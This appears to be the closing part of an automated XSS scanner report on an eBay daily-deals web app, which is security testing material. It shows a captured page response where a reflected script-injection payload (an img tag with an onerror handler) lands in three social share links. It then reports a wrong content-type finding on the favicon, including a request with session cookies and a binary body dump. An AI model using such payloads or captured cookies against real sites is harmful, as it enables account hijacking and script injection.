           <input type="button" id="searchBtn" class="button blue btnSmall link tab-3" value="Search" tabindex="3" onclick="doSearch()" />
            </div>
       </div>
           </header>
       </div><!-- }}} header -->

       <div class="pageWrap">

       <section>
           <div id="dailyDeals" class="floatLeft dailyUs">Daily Deals</div><h2 class="pageTitle">Grab yourself a great deal!</h2>
       
           <div class="dealItems contain clear" id="dealCarousel">
       
               <div class="dealItem" draggable="true" ondragstart="DragHandler(this, event)" style="left: 328px; z-index: 5; margin-top:-20px; display: none;" id="dealInfo">
                   <section>
                       <div class="mainDealContent contain">
                           <h3 id="dealInfoTitle" ></h3>
       
                           <div id="dealInfoImage"></div>
                           <div>
                           <p class="reduction" id="dealInfoSavings"></p>
       
                           <ul class="buyDetails">
                               <li class="rrp" id="dealInfoRRP"></li>
                               <li id="dealInfoPrice"></li>
                           </ul>
                           </div>
                       </div>
       
       
        <div class="dealOptions">
            <div class="dealOptionsLeft">
                               <span class="bold small">Postage:</span>
                               <div id="dealInfoFreeShipping" class="orangeText smaller bold">Free shipping</div>
                               
                           </div>
                           <div class="dealOptionsRight">
                               <span class="bold small">Payments</span>
                               <div id="dealInfoPayPal"><img alt="PayPal Accepted" src="images/payPalLogo.png" /></div>
                               
                           </div>
                       </div>
                       <div>
                           <div class="btnFav contain floatLeft marginT5" id="dealInfoAdded"><span class="smallHeart">Saved</span></div>
                           
                           <div class="floatRight marginT5">
                               <div id="dealInfoBuyItNow" class="link" ><a class="button link" href="#" target="_blank">View details</a></div>
               <div class="rrpLegal marginT5" id="dealInfoLegalText">*RRP as at 08/05/2010</div>
                           </div>
                           
                           <div onclick="addToFavorites(null)" onkeydown="enterToFavorites()" onfocus="favFocused=true;" id="dealInfoAddAsFav" class="button btnFav contain floatLeft marginT5 link" tabindex="7"><span id="plusOnSave" style="display: none;">+</span><span class="smallHeart">Save deal for later</span></div>
                           
                           
                       </div>
       
                   </section>
               </div>
               
               <div class="dealsTitle smallHeart"><p><span>+&nbsp;&nbsp;</span>Deals I'm interested in</p></div>
               <div id="dropZone">
                   <div id="favoriteItems"></div>
                   <div id="itemsToBeDropped" ondrop="DropHandler(this, event);dehighliteDropZone();" ondragenter="return false;" ondragover="highliteDropZone();return false;">
                       <div class="itemToBeDropped"><div id="firstItem"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                   </div>
                   <div id="socialNetworksArea" >
                       <div id="shareThisSquare" class="orange">
                           <p>
                                    <img src="images/share-this-uk.gif" /></p>
                <div class="clear floatLeft"><a href="http://twitter.com/share?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&text=Grab yourself a great deal!" target="_blank" class="link"><img src="images/twtr-icon-colour.jpg" alt="Tweet" /><span>Tweet</span></a></div>
        <div class="clear floatLeft"><a href="http://www.facebook.com/sharer.php?u=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&t=Grab yourself a great deal!" target="_blank" class="link"><img src="images/fb-icon-colour.jpg" alt="Share" /><span>Share</span></a></div>
        <div class="clear floatLeft"><a href="http://www.stumbleupon.com/submit?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>" target="_blank" class="link"><img src="images/su-icon-colour.jpg" alt="StumbleIt!"/><span>Stumble it!</span></a>
                           </div>
                        </div>    
                       
                       <div id="subscribeSquare" class="orange">
                           <p><img src="images/share-this-uk.gif" /></p>
        <div>
           <a id="addSlice" href="javascript:void(0)" class="link" onclick='addToFav();'><img src="images/webslice.gif" alt="webslice" /><span>Add web slice</span></a>
        </div>
        <div><a id="pinLink" href="javascript:void(0)" class="link" ><img src="images/pin.gif" alt="pin" /><span>Pin to start menu</span></a></div>
        </div>
                   </div>
               </div>
       
           </div><!-- }}} dealItems -->
       </section>

       <!-- footer -->
       <footer id="glbfooter">
           
<!--        language parameter for all countries IE9/Chome App-->
                                   
                       
           
           <!-- UK footer -->
                       
           <!-- US footer -->
                       <div id="footerLinks">
               <div class="floatLeft">
                   <ul>
                       <li><a rel="nofollow" class="link" target="_blank" href="http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a></li>
                   </ul>
               </div>
               <div class="floatRight">
                   <ul>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=3">United Kingdom</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=15">Australia</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=77">Germany</a></li>
                   </ul>
               </div>
           </div>
                       
           <!-- German footer -->
                       
           <!-- Australian footer -->
                   </footer>
       
       <!-- }}} footer -->

   </div><!-- }}} pageWrap -->
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
   <script type="text/javascript" src="js/browserExtensions.js"></script>
   <script type="text/javascript">
       //<![CDATA[
       jQuery().browserExtensionPrompt({
        targetNode : '#pageWrap', // Inserts alert before this ID
        browser : 'chrome',
        backgroundImg : 'images/bkGradient.png',
        icon : 'images/icon.png',
        introText : 'Stay connected to eBay anywhere online with the eBay extension for Google Chrome',
        closeButton : 'images/close.png',
        installText : 'Install now',
        installURL : 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dkhhckppjhonfmcpegdjdibmngahahhck%26uc%26lang%3Den&prod=chrome&prodversion=6.0.472.63',
        siteLinkText : 'Find out more',
        siteLinkURL : 'http://anywhere.ebay.com/browser/chrome/'
       });
       //]]>
   </script>

   
   <!-- LV -->
   
   <script type="text/javascript" src="http://include.ebaystatic.com/js/v/us/roverlv.js"></script>
   
   <script type="text/javascript">
   <!--
   function trackFunc() {
    _rover.setAppId(503);
    // Page Impression
    var pageImpEvent = 2040537;
    var impEvt=_rover.createPageImpEvent(pageImpEvent);
    impEvt.setLVTrk(true);
    ebayLVTr.setRover(_rover);
    ebayLVTr.setPageImpEvent(pageImpEvent);
    ebayLVTrClk._ebayLVTrackerClk_init_tracker();
    _rover.track();
   }
   //-->
   </script>
   <!-- End LV Tag -->
   
   <script type="text/javascript" charset="utf-8">
    var is_ssl = ("https:" == document.location.protocol);
    var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/";
    document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E"));
   </script>
   
   <script type="text/javascript" charset="utf-8">
    var feedback_widget_options = {};
   
    feedback_widget_options.display = "overlay";
    feedback_widget_options.company = "ebayextensions";
    feedback_widget_options.placement = "right";
    feedback_widget_options.color = "#222";
    feedback_widget_options.style = "idea";
    feedback_widget_options.product = "ebayextensions_daily_deals_app";
   
    feedback_widget_options.limit = "3";
   
    var feedback_widget = new GSFN.feedback_widget(feedback_widget_options);
   </script>
</body>
</html>

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://anywhere.ebay.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e; BIGipServeranywhere-u-http-80=2071724554.20480.0000

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
Last-Modified: Thu, 26 Aug 2010 17:34:20 GMT
ETag: "3b8161-1ece-48ebd687f9f00"
Accept-Ranges: bytes
Content-Length: 7886
X-Cnection: close
Content-Type: text/plain; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:07 GMT
Connection: close

...... .... .....6......... ..    ............ .h...f...(... ...@..... ..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................7...7.".7.-.7.-.7.-.7.-.7.+.7. .7...7.......................................................7...7...7. .7.).7.-.7.-.7.-.7.-.7.-.7.C.7.p.7...7...7...7...7...7.i.7.8.7.......7...7...7.).7.-.7.).7...7...................7...7. .7.J.7.m.7...7...7...7...7...7...7................................e..7.......7...7.W.7...7...7...7.W.7...................7...7.T.........................................19..19......19..Za..........7.K.7.-.7.K.....................7.).................7.'................5...5...5...5...5....v.......19..19..19..1:..5=..Za......7...7...7......D...C...C........7.-.................7.-........5...5...5...............5...5...5....+[..19..........19.........................C...C...C........7.4.7...............7.-....\B..5...5...5............................+[..19.........mAh.6|.. ....... ... .......C...C...C........7.N.7...............7.-....5...5...5...5...5...5...5...5...5...5...k%...19.........6|..6|..W... ... ... .......C...C...C............7.'.7...........7.'....\B..5...5...5...............5...5...5...k%...19.........6|..6|.......... ... .......C...C...C............7.H.7...........7..........5...5...5...............5...5...5....+[..19..19..19.6|../........... ... ...g...C...C...C...g.........k..7.,.7.......7..................5...5...5...5...5....v.......19..19..19..19..Za.7... ... ... ...4...C...C...|...C...C............7.V.7...7.......7.....m.....................................19..19......................... ...3...C...C.......C...C...g............7.>.7......................7.............7...7.-.....19..19......... ...M...........(...4...C...i.......i...C...C.............u..7...........................................7.".....19..19............. ... ...$...3...9...C...............C...C...g............7.%.........................................7.....................a............|...C...C...i...............i...C...C...|........7.......................................................................7...........................7...........................7..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................(.......0..... ......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................7...7.".7.-.7.-.7.-.7.).7...7...........................................7...7...7.".7.+.7.-.7.-.7.C.7.p.7...7...7...7...7._.7.*.7...7...7...7.).7.).7...7...........7...7. .7.M.7.q.7...7...7...7...........................7.j.7.<.7.<.7.b.7...7...7.W.7...........7...7.P.............................19..19..19..ou..........7...7...................7.).........7.%............5...5...5...5...r\...19..FM......19.....................:...:........7.-.........7.+....r\..5........................+[..FM.....gIs.....................:...:........7.5.7.......7.%....5...5...5...K/..5...5...5...R....FM.....D\..I.......M...........:...:........7.M.7.......7......r\..5...................5...f#...FM.....D\..3.......M...........:...:............7.'.7...7..............5...5...5...\B.......19..19..19.........................:...:............7.I.7.......7.....z.........................19..FM.........................:...........:............7...............................7.).....19..FM.........3...............:...........:............7.).............................7..................................;...u...........u...:........7.".............................7...................7...7.......................................7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-.......................    .......................@...C...A.......................-........(....... ..... ................................................................................................................................................................................................................................................................f...........................W..................@...@...@...........................................................@.......@.....................................rr............@...@.....aI...f..@.................................................@.....E8......@..................3............rr......rr........@.....\....f..@...@.......@.................................f...@.............@......................3...W..................@...@.....@...@.....o........................................M...............................................................................................|.........................................................................................................................................................................................................................?...#y-..1...k...k...............~-..k.............

Report generated by XSS.Cx at Sat Jan 14 21:34:32 CST 2012.